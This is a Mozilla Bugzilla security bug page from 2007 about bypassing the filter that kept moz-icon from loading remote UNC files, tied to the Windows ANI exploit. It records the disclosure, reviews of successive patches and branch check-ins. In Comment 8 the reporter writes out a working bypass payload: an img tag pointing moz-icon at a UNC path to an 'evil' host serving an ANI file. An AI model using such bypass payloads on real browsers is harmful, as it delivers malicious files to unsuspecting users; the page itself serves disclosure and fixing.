Last Comment Bug 386998 - Can still reach remote moz-icon: files through URL encoding
: Can still reach remote moz-icon: files through URL encoding
Status: RESOLVED FIXED
[sg:low] vector for a critical (patch...
: fixed1.8.0.13, fixed1.8.0.14, fixed1.8.1.5, fixed1.8.1.8
Product: Core
Classification: Components
Component: ImageLib (show other bugs)
: Trunk
: All All
: -- normal (vote)
: mozilla1.9alpha8
Assigned To: Christian :Biesinger (don't email me, ping me on IRC)
:
Mentors:
Depends on:
Blocks: 376328
  Show dependency treegraph
 
Reported: 2007-07-05 10:25 PDT by Daniel Veditz [:dveditz]
Modified: 2007-12-10 17:26 PST (History)
10 users (show)
vladimir: blocking1.9+
dveditz: blocking1.8.1.5+
dveditz: blocking1.8.1.8+
dveditz: wanted1.8.1.x+
dveditz: blocking1.8.0.13+
dveditz: blocking1.8.0.14+
dveditz: wanted1.8.0.x+
cbiesinger: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
advisory from reporter (5.58 KB, text/html)
2007-07-05 10:25 PDT, Daniel Veditz [:dveditz]
no flags Details
check for escaped UNC paths, too (1.10 KB, patch)
2007-07-12 01:50 PDT, Daniel Veditz [:dveditz]
timeless: review+
bzbarsky: review+
Details | Diff | Splinter Review
pach (1.83 KB, patch)
2007-07-27 15:42 PDT, Christian :Biesinger (don't email me, ping me on IRC)
no flags Details | Diff | Splinter Review
patch v2 (3.04 KB, patch)
2007-07-27 18:40 PDT, Christian :Biesinger (don't email me, ping me on IRC)
dveditz: review+
bzbarsky: superreview+
dveditz: approval1.8.1.8+
dveditz: approval1.8.0.14+
Details | Diff | Splinter Review

Description Daniel Veditz [:dveditz] 2007-07-05 10:25:27 PDT
Created attachment 271088 [details]
advisory from reporter

Alexander Sotirov of Determina (original reporter of Firefox being vulnerable to the windows ANI exploit through moz-icon) reports that our fix for bug 376328 can be trivially bypassed through URL encoding the slash. Detailed advisory in the attachment.
Comment 1 Daniel Veditz [:dveditz] 2007-07-12 01:50:40 PDT
Created attachment 271985 [details] [diff] [review]
check for escaped UNC paths, too
Comment 2 timeless 2007-07-12 02:11:30 PDT
I'm fairly uncomfortable with this.

        // we have a file url, let the IOService normalize it
        rv = ioService->NewURI

IMO that should have been sufficient. Are we misinterpreting the contract?
Comment 3 timeless 2007-07-12 02:13:17 PDT
Comment on attachment 271985 [details] [diff] [review]
check for escaped UNC paths, too

this will work and is good enough for branches.
Comment 4 Daniel Veditz [:dveditz] 2007-07-12 02:31:03 PDT
fix checked in, will seek retroactive branch approval
Comment 5 Daniel Veditz [:dveditz] 2007-07-12 10:24:06 PDT
Comment on attachment 271985 [details] [diff] [review]
check for escaped UNC paths, too

seeking retroactive review from bz
Comment 6 Boris Zbarsky [:bz] 2007-07-12 12:32:46 PDT
Comment on attachment 271985 [details] [diff] [review]
check for escaped UNC paths, too

Probably fine given the limited uses of moz-icon.
Comment 7 Christian :Biesinger (don't email me, ping me on IRC) 2007-07-14 17:27:35 PDT
(In reply to comment #2)
>         // we have a file url, let the IOService normalize it
>         rv = ioService->NewURI
> 
> IMO that should have been sufficient. Are we misinterpreting the contract?

If the question is, "shouldn't NewURI unescape the URI?" then the answer is that no, the contract doesn't require that.
Comment 8 Alexander Sotirov 2007-07-16 16:17:47 PDT
The patch is broken again. The attacker can insert one or more spaces after file:// and the UNC url still goes through the filter.

<img src="moz-icon:file:// ///192.168.70.1/evil/foo.ani">

You should really sit down and think about how to do this right. The filtering must done after the URL has been decoded, normalized and converted from a file:// url to a Windows path. Otherwise you'll just keep patching it and I'll keep breaking it.

Why not just remove the moz-icon://file:// functionality completely? It shouldn't have been there in first place. Most uses of moz-icon only need urls like moz-icon://*.pdf anyway.
Comment 9 chris hofmann 2007-07-16 19:03:34 PDT
reopening based on last comment.  please correct if this in not the case.
Comment 10 Daniel Veditz [:dveditz] 2007-07-23 19:19:13 PDT
I agree moz-icon:file: shouldn't be web-accessible, but it _is_ being used so
we have to fix all known consumers if we change this on the branch.

We could instead create a new moz-fileicon: and restrict that to chrome-only
(as I originally tried to do in bug 376328), leaving moz-icon for only the
"stock" and dummyfile uses. It would be fairly simple to change most moz-icon
uses in the cvs tree, but there are an unknown number of addons using this
(filed bug 389349 for investigating that, for at least the ones known to AMO).

Then there's the feedreader code. That generates a non-chrome page that uses
moz-icon:file: to show the icon of registered local feed-reading apps. Since it's non-chrome any new moz-fileicon: wouldn't work so that code would have to be changed to use a data: url, captured and saved as a pref when the handler is registered.
Comment 11 Christian :Biesinger (don't email me, ping me on IRC) 2007-07-27 15:42:01 PDT
Created attachment 274225 [details] [diff] [review]
pach

still have to test this...
Comment 12 Christian :Biesinger (don't email me, ping me on IRC) 2007-07-27 18:40:42 PDT
Created attachment 274246 [details] [diff] [review]
patch v2

This version actually compiles & works

It now treats UNC paths as malformed URIs (instead of ignoring the UNC part).
Comment 13 Boris Zbarsky [:bz] 2007-07-27 18:49:01 PDT
Comment on attachment 274246 [details] [diff] [review]
patch v2

I like this much more!

On trunk, can we make -moz-icon URIs with a file:// inside implement nsINestedURI so that this sort of thing would just get caught at the CheckLoadURI stage of life?
Comment 14 Boris Zbarsky [:bz] 2007-07-27 18:49:29 PDT
Then again, I guess on trunk -moz-icon: is already restricted to chrome.  So nevermind.  ;)
Comment 15 Daniel Veditz [:dveditz] 2007-08-06 18:09:44 PDT
Comment on attachment 274246 [details] [diff] [review]
patch v2

r=dveditz
Comment 16 Daniel Veditz [:dveditz] 2007-08-07 21:12:48 PDT
Comment on attachment 271985 [details] [diff] [review]
check for escaped UNC paths, too

This patch is what landed in 1.8.1.5 and 1.8.0.13
Comment 17 Boris Zbarsky [:bz] 2007-08-08 13:19:54 PDT
Er, actually on trunk moz-icon is NOT restricted to chrome.
Comment 18 Christian :Biesinger (don't email me, ping me on IRC) 2007-08-15 17:22:39 PDT
filed Bug 392402 on nsINestedURI

Checking in nsIconURI.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/icon/nsIconURI.cpp,v  <--  nsIconURI.cpp
new revision: 1.27; previous revision: 1.26
done
Checking in win/nsIconChannel.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/icon/win/nsIconChannel.cpp,v  <--  nsIconChannel.cpp
new revision: 1.41; previous revision: 1.40
done
Comment 19 Daniel Veditz [:dveditz] 2007-08-21 15:10:10 PDT
Comment on attachment 274246 [details] [diff] [review]
patch v2

approved for 1.8.1.7 and 1.8.0.14, a=dveditz for release-drivers
Comment 20 Christian :Biesinger (don't email me, ping me on IRC) 2007-08-29 17:49:22 PDT
MOZILLA_1_8_BRANCH:
Checking in nsIconURI.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/icon/nsIconURI.cpp,v  <--  nsIconURI.cpp
new revision: 1.19.8.4; previous revision: 1.19.8.3
done
Checking in win/nsIconChannel.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/icon/win/nsIconChannel.cpp,v  <--  nsIconChannel.cpp
new revision: 1.38.12.3; previous revision: 1.38.12.2
done

MOZILLA_1_8_0_BRANCH:
Checking in nsIconURI.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/icon/nsIconURI.cpp,v  <--  nsIconURI.cpp
new revision: 1.19.16.4; previous revision: 1.19.16.3
done
Checking in win/nsIconChannel.cpp;
/cvsroot/mozilla/modules/libpr0n/decoders/icon/win/nsIconChannel.cpp,v  <--  nsIconChannel.cpp
new revision: 1.38.12.1.4.1; previous revision: 1.38.12.1
done
Comment 21 juan becerra [:juanb] 2007-10-12 16:07:28 PDT
Christian, could you help us verify this on FF 2008rc2? 
Comment 22 Al Billings [:abillings] 2007-12-10 17:26:01 PST
Is there a test case for this somewhere?

Note You need to log in before you can comment on or make changes to this bug.